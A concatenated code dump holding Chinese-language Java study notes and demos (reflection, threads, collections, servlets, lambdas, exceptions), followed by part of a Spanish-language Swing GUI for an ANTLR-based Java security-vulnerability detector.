手机 implements 拍照 [手机有拍照能力] > 类:is-a 的'是'关系 -> 手机 extends 机器 [手机是机器] > 多态的应用: > 类: > 1. 父类作为方法的形参,传入具体子类对象 > 2. 父类作为方法的返回值,返回具体子类对象 > -> 某类作为某类的属性 > 接口: > 1. 接口作为方法的形参,传入具体实现类的对象 > 2. 接口作为方法的返回值,返回具体实现类的对象<file_sep>/java基础1/12.标准类库/5.File类/Demo.java import java.io.File; public class Demo { public static void main(String[] args) throws Exception{ /* File类创建:-> 目录 && 文件 File file = new File(pathname) 绝对路径:new File("d:/a.txt");//默认放到D盘 相对路径:new File("a.txt");//默认放到user.dir目录下 -> user.dir指代当前项目的目录 System.getProperty("user.dir"); -> 仅定义文件存放位置,需要调用创建文件方法才会'真正创建' // 文件 file.createNewFile();//创建文件 file.delete();//删除文件 file.getPath();//文件目录路径 file.getName();//文件名 file.length();//文件大小 file.lastModified();//文件最后修改时间 file.isFile();//是否为文件 file.exists();//是否存在 // 目录 file.mkdir();//创建一个目录 -> 若中间某目录缺失则创建失败 file.mkdirs();//创建多个目录 -> 若中间某目录缺失则会创建缺失目录 file.isDirectory();//是否为目录 */ System.out.println(System.getProperty("user.dir")); File file = new File("a.txt");//仅定义文件存放位置,需要调用创建文件方法才会'真正创建' file.createNewFile(); // file1.delete(); System.out.println(file.getPath()); System.out.println(file.getName()); System.out.println(file.length()); System.out.println(file.lastModified()); System.out.println(file.isFile()); System.out.println(file.isDirectory()); System.out.println(file.exists()); File file1 = new File("d:/test/java/file/func");//仅创建目录,d:/test/java/file/func/a.txt -> a.txt会被当作目录创建 boolean flag = file1.mkdir(); boolean flag1 = file1.mkdirs(); System.out.println(flag); System.out.println(flag1); } }<file_sep>/java基础2/TestPro/reflect/src/com/mi/reflect/TestReflect6.java /* 获取注解信息/反射操作注解: */ package com.mi.reflect; import java.lang.annotation.*; import java.lang.reflect.Field; public class TestReflect6 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException { Class c1 = Class.forName("com.mi.reflect.Animal"); // 获取所有注解 -> 默认是类注解 Annotation[] annotations = c1.getAnnotations(); for(Annotation annotation: annotations) { System.out.println(annotation); } // 获取类注解的值 -> 通过此方式就可获取到元数据 TableDeal tableDeal = (TableDeal)c1.getAnnotation(TableDeal.class); String value = tableDeal.value(); System.out.println(value); // 获得类指定的注解 Field f1 = c1.getDeclaredField("name"); FieldDeal annotation = f1.getAnnotation(FieldDeal.class); System.out.println(annotation.columnName()); System.out.println(annotation.type()); System.out.println(annotation.length()); } } @TableDeal("db_student") class Animal { @FieldDeal(columnName = "db_id", type="int", length = 10) private int id; @FieldDeal(columnName = "db_age", type="int", length = 10) private int age; @FieldDeal(columnName = "db_name", type="varchar", length = 10) private String name; public Animal(int id, int age, String name) { this.id = id; this.age = age; this.name = name; } public Animal() { } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } } // 类注解 @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @interface TableDeal { String value(); } // 属性注解 @interface FieldDeal { String columnName(); String type(); int length(); }<file_sep>/java基础1/7.数组/1.一维数组/Demo.java import java.util.Scanner; public class Demo { public static void main(String[] args) { Scanner input = new Scanner(System.in); System.out.println("请输入数组长度"); int length = input.nextInt(); int[] array = new int[6]; // System.out.println(array);//hashcode // 存值 for(int i=0; i<length; i++) { array[i] = i+1; } // 取值 for(int i:array) { System.out.println("取值:" + i); } } }<file_sep>/java基础2/4.多线程/6.JUC并发编程包/README.md ## JUC并发编程包 -> java.util.concurrent工具包 > JDK1.5出现的处理多线程工具包,其包括常用的安全类型集合、解决死锁等方案 -> 开发中经常会使用该库 ### RenntrantLock可重入锁 > JUC包提供的工具类,其拥有与synchronized相同的并发性和内存语义 > RenntrantLock VS synchronized > RenntrantLock是显示加锁、解锁[不要忘记关锁],JVM花费更少时间调度线程,性能更好,也有更好的扩展性[提供更多子类] > synchronized是隐式锁,出了作用域自动释放 > 建议使用顺序:RenntrantLock > synchronized[同步代码块 > 同步方法] ```java /* class A { // 定义锁 private final ReentrantLock lock = new ReentrantLock(); public void func() { // 其建议:解锁放入到fianally部分try{}finally{},加锁写不写到try都可以 try { lock.lock();//加锁 // 线程不安全代码部分 } finally { lock.unlock();//解锁 } } } */ package com.mi.threadjuc; import java.util.concurrent.locks.ReentrantLock; public class TestJUCLock { public static void main(String[] args) { buyTicket ticket = new buyTicket(); new Thread(ticket,"a").start(); new Thread(ticket,"b").start(); new Thread(ticket,"c").start(); } } class buyTicket implements Runnable{ private int ticketNums = 10; // 定义lock锁 private final ReentrantLock lock = new ReentrantLock(); @Override public void run() { while(true) { try { // 加锁 lock.lock(); if(ticketNums <= 0) { break; } System.out.println(Thread.currentThread().getName() + "买到了第" + ticketNums-- + "张票"); } finally { // 解锁 lock.unlock(); } } } } ``` ### CopyOnWriteArrayList集合 > JUC包提供的工具类,安全类型集合 ```java package com.mi.threadjuc; import java.util.concurrent.CopyOnWriteArrayList; public class TestJUC { public static void main(String[] args) { // JUC提供的安全类型集合 -> 线程安全 CopyOnWriteArrayList<String> list = new CopyOnWriteArrayList<String>(); for(int i=0; i<10000; i++) { new Thread(() -> { list.add(Thread.currentThread().getName()); }).start(); } try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(list.size()); } } ```<file_sep>/java基础1/12.标准类库/2.字符串相关类/README.md ## 字符串相关类 > String:不可变字符序列 > StringBuffer: 可变字符序列,线程安全,效率低[做线程同步检查] -> JDK1.0 > StringBuilder: 可变字符序列,线程不安全,效率高[不做线程同步检查],建议使用 -> JDK1.5 > StringBuffer/StringBuilder均是抽象类AbstractStringBuilder的子类,它们的API一样 ### 内存占用 > String类:不可变字符序列,多次执行改变字符串内容的操作会导致'创建大量副本对象',占用大量内存 > StringBuffer/StringBuilder类:可变字符序列,多次执行改变字符串内容的操作依旧操作原对象,占用内存少 ```java /** * String类、StringBuilder类在字符串频繁修改时的效率测试 */ public class Demo1 { public static void main(String[] args) { // String类 String str = ""; long freeMry1 = Runtime.getRuntime().freeMemory(); long time1 = System.currentTimeMillis(); for(int i=0; i<5000; i++) { str = str + i; } long freeMry2 = Runtime.getRuntime().freeMemory(); long time2 = System.currentTimeMillis(); System.out.println("String类占用内存:" + (freeMry1 - freeMry2)); System.out.println("String类占用时间:" + (time2 - time1)); // StringBuilder类 StringBuilder strBud = new StringBuilder(""); long freeMry3 = Runtime.getRuntime().freeMemory(); long time3 = System.currentTimeMillis(); for(int i=0; i<5000; i++) { strBud.append(i); } long freeMry4 = Runtime.getRuntime().freeMemory(); long time4 = System.currentTimeMillis(); System.out.println("StringBuilder类占用内存:" + (freeMry3 - freeMry4)); System.out.println("StringBuilder类占用时间:" + (time4 - time3)); } } ```<file_sep>/java基础2/2.容器/2.双例集合/Map接口/README.md ## Map接口 -> 其与Collection接口无关,双例集合接口 > 无序、不可重复[key不能重复,注入相同的key,新value会替换旧value] ![](assets/map抽象方法.png) ### Map接口实现类 > HashMap类:基于哈希表实现[实际就是数组+链表],结合了数组、链表各自优势,查询增删效率都很高 > TreeMap类:基于哈希表实现[实际就是数组+链表],但可对容器内元素排序,查询增删效率低于HashMap类 -> 基于排序规则进行排序 > HashTable类:较少使用 > LinkedHashMap类:较少使用 > Properties类:较少使用<file_sep>/java基础1/13.异常处理/Demo1.java /** * 典型代码 - 声明异常 * IDEA:使用ctrl+alt+t自动生成try..catch... */ import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; public class Demo1 { public static void main(String[] args) { try { readFile("joke.txt"); } catch (FileNotFoundException e) { System.out.println("所需文件不存在!"); } catch (IOException e) { System.out.println("文件读写错误!"); } } public static void readFile(String fileName) throws FileNotFoundException,IOException { FileReader in = new FileReader(fileName); int tem = 0; try { tem = in.read(); while(tem != -1) { System.out.print((char)tem); tem = in.read(); } } finally { if(in != null) { in.close(); } } } } /* 优化版: try-with-resource自动关闭Closable接口的资源: -> JVM垃圾回收机制可对内部资源自动回收,但JVM对外部资源[调用了底层操作系统的资源]的引用却无法自动回收,例如数据库连接、网络连接、输入输出IO流等,此时需要手动关闭,否则会导致外部资源泄漏、连接池异常、文件被异常占用等 -> JDK新增了try-with-resource,其可自动关闭实现了AutoClosable接口的类,实现类需要实现close()方法,本质就是语法糖,自动调用close()方法,编译时会转化为try-catch-fianlly语句 */ import java.io.FileReader; public class Demo2 { public static void main(String[] args) { try(FileReader reader = new FileReader("d:/a.txt")) { char c = (char)reader.read(); char c2 = (char)reader.read(); System.out.println(""+c+c2); } catch(Exception e) { e.printStackTrace(); } } }<file_sep>/java基础2/TestPro/thread/src/com/mi/threadstatus/TestJoinDemo.java /* 线程强制执行 */ package com.mi.threadstatus; public class TestJoinDemo implements Runnable{ @Override public void run() { for(int i=0; i<1000; i++) { System.out.println("线程vip"); } } public static void main(String[] args) { TestJoinDemo testJoin = new TestJoinDemo(); Thread thread = new Thread(testJoin); thread.start(); // 主线程 for(int i=0; i<100; i++) { if(i== 30) { try { thread.join(); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println("主线程"); } } }<file_sep>/java基础2/8.javaweb/7.mvc架构/README.md ## MVC -> 架构模式 > 背景:最初并没有架构思想,servlet、jsp中随便写java代码,也没有侧重点,那时候需求也简单,后来企业级应用需求很多,为了扩展和维护性诞生了'VC'架构,servlet专注写java处理代码,jsp专注于呈现数据 && 提供用户操作[事件监听],servlet就是Controller层,Controller层很重,后来逐渐将业务处理逻辑代码抽离出来,也就是'M'层,此时就形成了'MVC'架构 -> 架构领域:没有什么是不能通过添加一层解决的 ![](assets/vc架构.png) ![](assets/mvc架构.png)<file_sep>/java基础2/TestPro/net/src/com/mi/net/tcp/picture/ClientDemo.java /* 基于TCP的通信:文件传送 客户端 */ package com.mi.net.tcp.picture; import java.io.*; import java.net.InetAddress; import java.net.Socket; public class ClientDemo { public static void main(String[] args) throws IOException { // 创建socket连接 Socket socket = new Socket(InetAddress.getByName("127.0.0.1"),9000); // 输出流 OutputStream os = socket.getOutputStream(); // 读取文件 FileInputStream fis = new FileInputStream(new File("1.jpg")); // 输出文件 byte[] buffer = new byte[1024]; int len; while((len = fis.read(buffer)) != -1) { os.write(buffer,0,len); } // 通知服务器,传送完毕 socket.shutdownOutput(); // 确定服务器端接收完毕,断开连接 InputStream inputStream = socket.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer2 = new byte[1024]; int len2; while((len2 = inputStream.read(buffer2)) != -1) { baos.write(buffer2,0,len2); } // 关闭资源 baos.close(); inputStream.close(); fis.close(); os.close(); socket.close(); } }<file_sep>/java基础2/8.javaweb/3.servlet/README.md ## servlet > sun公司实现动态web的技术,也就是使用java程序处理网络请求进而操作数据 > 使用:sun提供了servlet接口,开发者编写类实现该接口,然后将该类部署到web服务器即可 -> sun官方提供了两个实现类[GenericServlet类实现了servlet接口,HttpServlet类继承了GenericServlet类],开发时直接继承这些类即可,更多聚焦在请求和响应 ![](assets/图示.png) ### 项目前期准备 > 基于Maven搭建父子项目:父项目中创建子模块,每个子模块都是单独的javaweb项目 -> 优点:maven是项目工程化的产物,擅长管理依赖包,父子项目中可将公共配置提取到父项目配置文件中,尤其是依赖管理配置 > 项目创建过程中,父子项目的核心配置文件pom.xml会自动做相应的改动,但由于idea版本的差异,部分版本下需要手动修改配置 ```xml <!-- 父项目的配置文件pom.xml --> <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <groupId>com.tt</groupId> <artifactId>javaweb-03-servlet</artifactId> <packaging>pom</packaging> <version>1.0-SNAPSHOT</version> <modelVersion>4.0.0</modelVersion> <!-- 子模块:此处需添加子模块的名字[artifactId] --> <modules> <module>servlet-01</module> <module>servlet-02</module> <module>response</module> <module>request</module> </modules> <!-- 项目依赖 --> <dependencies> <!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency> <!-- https://mvnrepository.com/artifact/javax.servlet.jsp/jsp-api --> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>javax.servlet.jsp-api</artifactId> <version>2.3.3</version> <scope>provided</scope> </dependency> </dependencies> <build> <!-- 配置resources,防止资源导出失败 --> <resources> <resource> <directory>src/main/resources/</directory> <includes> <include>**/*.properties</include> <include>**/*.xml</include> </includes> <filtering>true</filtering> </resource> <resource> <directory>src/main/java</directory> <includes> <include>**/*.properties</include> <include>**/*.xml</include> </includes> <filtering>true</filtering> </resource> </resources> </build> </project> <!-- 子项目的配置文件pom.xml --> <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <!-- 添加parent标签:此处需添加父项目的GAV[groupId、artifactId、version] --> <parent> <groupId>com.tt</groupId> <artifactId>javaweb-03-servlet</artifactId> <version>1.0-SNAPSHOT</version> </parent> <!-- 子项目 --> <artifactId>servlet-01</artifactId> <!-- 打包方式 --> <packaging>war</packaging> <modelVersion>4.0.0</modelVersion> </project> ```<file_sep>/java基础1/12.标准类库/3.时间处理相关类/2.DateFormat/README.md ## DateFormat类 > DateFormat是抽象类,SimpleDateFormat子类来具体实现 -> java.text.SimpleDateFormat > 功能:时间对象与指定格式字符串的相互转化 -> Date类提供的toString()方法仅能转化为指定格式字符串 ```java SimpleDateFormat s1 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); SimpleDateFormat s2 = new SimpleDateFormat("yyyy-MM-dd"); // 时间对象转化为指定格式字符串 String str1 = s1.format(new Date()); String str2 = s2.format(new Date()); System.out.println(str1);//2021-07-10 11:23:53 System.out.println(str2);//2021-07-10 // 指定格式字符串转化为时间对象,字符串格式需要和指定格式一致 String time1 = "2021-08-08 12:12:12"; String time2 = "2021-08-08"; Date date1 = s1.parse(time1); Date date2 = s2.parse(time1); System.out.println(date1);//Sun Aug 08 00:12:12 CST 2021 System.out.println(date2);//Sun Aug 08 00:00:00 CST 2021 ``` ### 格式化字符 ![](assets/格式化字符.png)<file_sep>/java基础2/其它/JavaBean/README.md ## JavaBean -> 咖啡豆[java:咖啡 bean:豆子] > java提供的可重用组件,实际就是代码的标准格式 -> 类必须是公共的、属性必须使用封装[private修饰属性,暴露getter/setter方法]、具有无参构造器,建议也写上全参构造器 > 优点: > 1. 数据库映射ORM:类 -> 表、属性 -> 表字段、对象 -> 表的行记录 -> javabean是标准代码格式,约束数据很nice[严谨] > 2. 提高代码复用性,其它Java类可通过反射机制发现和操作这些JavaBean的属性 ```java package com.mi.javabean; public class TestJavaBean { private int id; private String name; public TestJavaBean() {} public TestJavaBean(int id, String name) { this.id = id; this.name = name; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } } ```<file_sep>/java基础2/其它/lamda表达式/README.md ## lamda表达式/lambda -> JDK1.8 > 其就是语法糖,简洁代码[保留核心逻辑代码,丢掉无意义代码] -> 仅简化匿名内部类,而且还是基于'函数式接口'的实现类 > 函数式接口: 接口中仅包含一个抽象方法,实际也是函数式编程范畴 ```java package com.mi.lamda; public class TestLamda { // 静态内部类 static class Like1 implements ILike { @Override public void lamda(int a) { System.out.println("lamda1" + a); } } public static void main(String[] args) { ILike ilike = new Like(); ilike.lamda(0); ILike ilike1 = new Like1(); ilike1.lamda(1); // 局部内部类 class Like2 implements ILike { @Override public void lamda(int a) { System.out.println("lamda2" + a); } }; ILike ilike2 = new Like2(); ilike2.lamda(2); // 匿名内部类:无类的名称,必须借助接口或父类 ILike like3 = new ILike() { @Override public void lamda(int a) { System.out.println("lamda3" + a); } }; like3.lamda(3); /* lamda表达式: -> 其直接进行简化匿名内部类:仅关注参数、函数体 ILike like4 = (int a) -> { System.out.println("lamda4" + 4); }; -> 参数: 1.若仅有一个参数,可省略小括号,多个参数or无参数,均不可省略 2.参数类型:可省略参数类型,但要不写都不写,不要某个参数写某个参数不写 ILike like4 = a -> { System.out.println("lamda4" + 4); }; -> 函数体: 若函数体内仅有一条语句,可省略外面的大括号 ILike like4 = a -> System.out.println("lamda4" + 4); */ ILike like4 = a -> System.out.println("lamda4" + 4); like4.lamda(4); } } // 接口 interface ILike { void lamda(int a); } // 实现类 class Like implements ILike { @Override public void lamda(int a) { System.out.println("lamda" + a); } } ```<file_sep>/java基础1/10.枚举/README.md ## 枚举 -> JDK1.5引入 > 背景:开发中需要定义系列常量,枚举可以更好的管理这些'同类型常量' > 本质:枚举依旧是类,隐式继承java.lang.Enum,每个被枚举的成员就是该枚举类型的实例 -> 它们默认使用public static final修饰,因此使用方法就是枚举名.枚举成员 => 开发中尽量不要使用枚举的高级特性,高级特性都可使用普通类实现,引入枚举会增加程序复杂性 ### 枚举定义 ```java /* 枚举: 枚举本质是类,因此需要定义在外部 枚举定义: enum 枚举名{ 枚举体(常量列表) } */ // 季节 enum Season { SPRING, SUMMER, AUTUMN, WINTER } // 星期 enum Week { MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY, SUNDAY } ```<file_sep>/java基础2/7.jdbc/README.md ## jdbc > 参考'mysql部分中的jdbc'<file_sep>/java基础2/TestPro/container/src/com/mi/other/Collections/CollectionsTest.java package com.mi.other.Collections; import java.util.List; import java.util.ArrayList; import java.util.Collections; public class CollectionsTest { public static void main(String[] args) { List<String> list = new ArrayList<>(); list.add("a"); list.add("c"); list.add("b"); list.add("e"); list.add("d"); // void sort(List);// 对元素进行排序 -> 升序 Collections.sort(list); for(String str: list) { System.out.println(str); } // void shuffle(List);// 对元素进行随机排列 Collections.shuffle(list); for(String str: list) { System.out.println(str); } // void fill(List,Object);// 用特定的对象重写整个List容器 Collections.fill(list,"newStr"); for(String str: list) { System.out.println(str); } } }<file_sep>/java基础2/5.注解反射/2.反射/4.动态创建对象操作属性方法/README.md ## 动态创建对象操作属性方法 ```java package com.mi.reflect; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class TestReflect4 { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException { // Class c1 = Class.forName("com.mi.reflect.User1"); // System.out.println(c1); User1 ur = new User1(); Class c1 = ur.getClass(); // 构造对象:默认调用无参构造器 User1 user = (User1)c1.newInstance(); System.out.println(user); // 构造对象:调用有参构造器 Constructor constructor = c1.getConstructor(String.class,int.class,int.class); User1 user1 = (User1)constructor.newInstance("a",1,1); System.out.println(user1); // 调用方法 Method setName = c1.getDeclaredMethod("setName",String.class); setName.invoke(user,"a");// invoke:激活 -> invoke(对象,参数) System.out.println(user.getName()); // 操作属性 Field name = c1.getDeclaredField("name"); name.setAccessible(true);//安全检测关掉,关掉才可操作私有属性 -> 默认是false; true:关掉、false:开启 name.set(user,"b"); } } class User1 { private String name; private int id; private int age; public User1(String name, int id, int age) { this.name = name; this.id = id; this.age = age; } public User1() {} public String getName() { return name; } public void setName(String name) { this.name = name; } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } ```<file_sep>/java基础1/6.语句/2.循环语句/4.break continue/Demo1.java /** * continue */ public class Demo1 { public static void main(String[] args) { int i = 1; int j = 1; for(;i<=5;i++) { for(;j<=5;j++) { if(j==3) { continue; } System.out.println("number");//输出四次 } } System.out.println(i);//6 System.out.println(j);//6 } }
58d7cbc844956e4b00ddac16aafcd10cfe6e976c
[ "Markdown", "Java" ]
170
Markdown
PaulMing/javastudy
3579f7e79d73486ae49a53edbc5c27f066859ee1
85ba302021057a0a4f08c1780caf9736a88d4d2f
refs/heads/master
<file_sep> package Model; import View.GUICodeAnalyzer; import java.io.File; import java.io.FileInputStream; import org.antlr.v4.runtime.ANTLRInputStream; import org.antlr.v4.runtime.CommonTokenStream; import org.antlr.v4.runtime.tree.ParseTree; public class CodeAnalyzer { public static void processCode() throws Exception{ System.setIn(new FileInputStream(new File("input.txt"))); ANTLRInputStream input = new ANTLRInputStream(System.in); Java8Lexer lexer = new Java8Lexer(input); CommonTokenStream tokens = new CommonTokenStream(lexer); Java8Parser parser = new Java8Parser(tokens); ParseTree tree = parser.compilationUnit(); MyVisitor<Object> loader = new MyVisitor<Object>(); loader.visit(tree); } public static void main(String [] args) throws Exception{ GUICodeAnalyzer gui = new GUICodeAnalyzer(); gui.setVisible(true); } } <file_sep>package View; import Model.CodeAnalyzer; import java.awt.Color; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.DataInputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.DefaultListModel; import javax.swing.JFileChooser; import javax.swing.JOptionPane; import javax.swing.filechooser.FileNameExtensionFilter; import javax.swing.text.BadLocationException; import javax.swing.text.DefaultHighlighter; import javax.swing.text.Highlighter; /** * * @author Edwin */ public class GUICodeAnalyzer extends javax.swing.JFrame { DefaultListModel listmodel; /** * Creates new form GUICodeAnalyzer */ public GUICodeAnalyzer() { initComponents(); this.setLocationRelativeTo(null); this.setTitle("Detector"); codeArea.setEnabled(true); listmodel = new DefaultListModel(); resultList.setModel(listmodel); } /** * This method is called from within the constructor to initialize the form. * WARNING: Do NOT modify this code. The content of this method is always * regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jScrollPane3 = new javax.swing.JScrollPane(); jPanel1 = new javax.swing.JPanel(); lineCounter = new javax.swing.JTextArea(); jScrollPane1 = new javax.swing.JScrollPane(); codeArea = new javax.swing.JTextArea(); btnUploadFile = new javax.swing.JButton(); btnCodeAnalyzer = new javax.swing.JButton(); jScrollPane4 = new javax.swing.JScrollPane(); resultList = new javax.swing.JList<>(); jMenuBar1 = new javax.swing.JMenuBar(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); jLabel1.setText("Detector de vulnerabilidades de seguridad en codigo Java"); jLabel2.setText("Resultados"); lineCounter.setEditable(false); lineCounter.setColumns(2); lineCounter.setLineWrap(true); lineCounter.setRows(2); lineCounter.setTabSize(2); lineCounter.setText(" 1"); lineCounter.setAutoscrolls(false); lineCounter.setCaretColor(new java.awt.Color(51, 51, 255)); lineCounter.setFocusable(false); codeArea.setColumns(20); codeArea.setLineWrap(true); codeArea.setRows(5); codeArea.addKeyListener(new java.awt.event.KeyAdapter() { public void keyReleased(java.awt.event.KeyEvent evt) { codeAreaKeyReleased(evt); } }); jScrollPane1.setViewportView(codeArea); javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1); jPanel1.setLayout(jPanel1Layout); jPanel1Layout.setHorizontalGroup( jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(jPanel1Layout.createSequentialGroup() .addComponent(lineCounter, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 717, Short.MAX_VALUE) .addContainerGap()) ); jPanel1Layout.setVerticalGroup( jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 385, Short.MAX_VALUE) .addComponent(lineCounter) ); jScrollPane3.setViewportView(jPanel1); btnUploadFile.setText("Cargar Archivo"); btnUploadFile.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { btnUploadFileActionPerformed(evt); } }); btnCodeAnalyzer.setText("Analizar Codigo"); btnCodeAnalyzer.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { btnCodeAnalyzerActionPerformed(evt); } }); resultList.addMouseListener(new java.awt.event.MouseAdapter() { public void mouseClicked(java.awt.event.MouseEvent evt) { resultListMouseClicked(evt); } }); jScrollPane4.setViewportView(resultList); setJMenuBar(jMenuBar1); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jScrollPane4) .addGroup(layout.createSequentialGroup() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel2) .addGroup(layout.createSequentialGroup() .addComponent(btnUploadFile, javax.swing.GroupLayout.PREFERRED_SIZE, 131, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(18, 18, 18) .addComponent(btnCodeAnalyzer, javax.swing.GroupLayout.PREFERRED_SIZE, 131, javax.swing.GroupLayout.PREFERRED_SIZE)) .addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, 770, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(0, 0, Short.MAX_VALUE))) .addContainerGap()) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 346, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(204, 204, 204)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(18, 18, 18) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(btnUploadFile, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(btnCodeAnalyzer, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(jLabel2) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jScrollPane4, javax.swing.GroupLayout.PREFERRED_SIZE, 97, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(11, 11, 11) .addComponent(jLabel1) .addContainerGap()) ); pack(); }// </editor-fold>//GEN-END:initComponents public void countRows(){ int totalrows=codeArea.getLineCount(); lineCounter.setText("1\n"); for(int i=2; i<=totalrows;i++){ lineCounter.setText(lineCounter.getText()+i+"\n"); } } private void codeAreaKeyReleased(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_codeAreaKeyReleased // TODO add your handling code here: if(evt.isControlDown()/* || evt.getKeyCode()==10 || evt.getKeyCode()==8 || evt.getKeyCode()==127*/){ countRows(); } }//GEN-LAST:event_codeAreaKeyReleased private void btnUploadFileActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnUploadFileActionPerformed JFileChooser fc = new JFileChooser(); fc.setFileFilter(new FileNameExtensionFilter("*.java","java")); int respuesta = fc.showOpenDialog(this); String path = ""; if (respuesta == JFileChooser.APPROVE_OPTION) { path = fc.getSelectedFile().toString(); try { DataInputStream in = new DataInputStream(new FileInputStream(path)); String text = ""; while (in.available() != 0) { text += in.readLine() + "\n"; } codeArea.setText(text); in.close(); countRows(); } catch (Exception e) { JOptionPane.showMessageDialog(this,"File input error"); } } }//GEN-LAST:event_btnUploadFileActionPerformed public void showResultList() throws FileNotFoundException, IOException{ FileReader fr = new FileReader(new File ("SecurityFailures.txt")); BufferedReader br = new BufferedReader(fr); String line; while((line=br.readLine())!=null){ listmodel.addElement(line); } } private void btnCodeAnalyzerActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnCodeAnalyzerActionPerformed listmodel.removeAllElements(); try { BufferedWriter bw = new BufferedWriter(new FileWriter("input.txt")); bw.write(codeArea.getText()); bw.close(); CodeAnalyzer.processCode(); showResultList(); }catch (Exception ex) { Logger.getLogger(GUICodeAnalyzer.class.getName()).log(Level.SEVERE, null, ex); } }//GEN-LAST:event_btnCodeAnalyzerActionPerformed private void resultListMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_resultListMouseClicked // TODO add your handling code here: String text = resultList.getSelectedValue(); if( text.contains("<") ){ int line = Integer.parseInt(text.substring(1, text.indexOf(":"))); try { codeArea.getHighlighter().removeAllHighlights(); lineCounter.getHighlighter().removeAllHighlights(); int startIndex = codeArea.getLineStartOffset(line-1); int endIndex = codeArea.getLineEndOffset(line-1); int startIndex2 = lineCounter.getLineStartOffset(line-1); int endIndex2 = lineCounter.getLineEndOffset(line-1); Highlighter.HighlightPainter painter = new DefaultHighlighter.DefaultHighlightPainter(Color.YELLOW); codeArea.getHighlighter().addHighlight(startIndex, endIndex, painter); 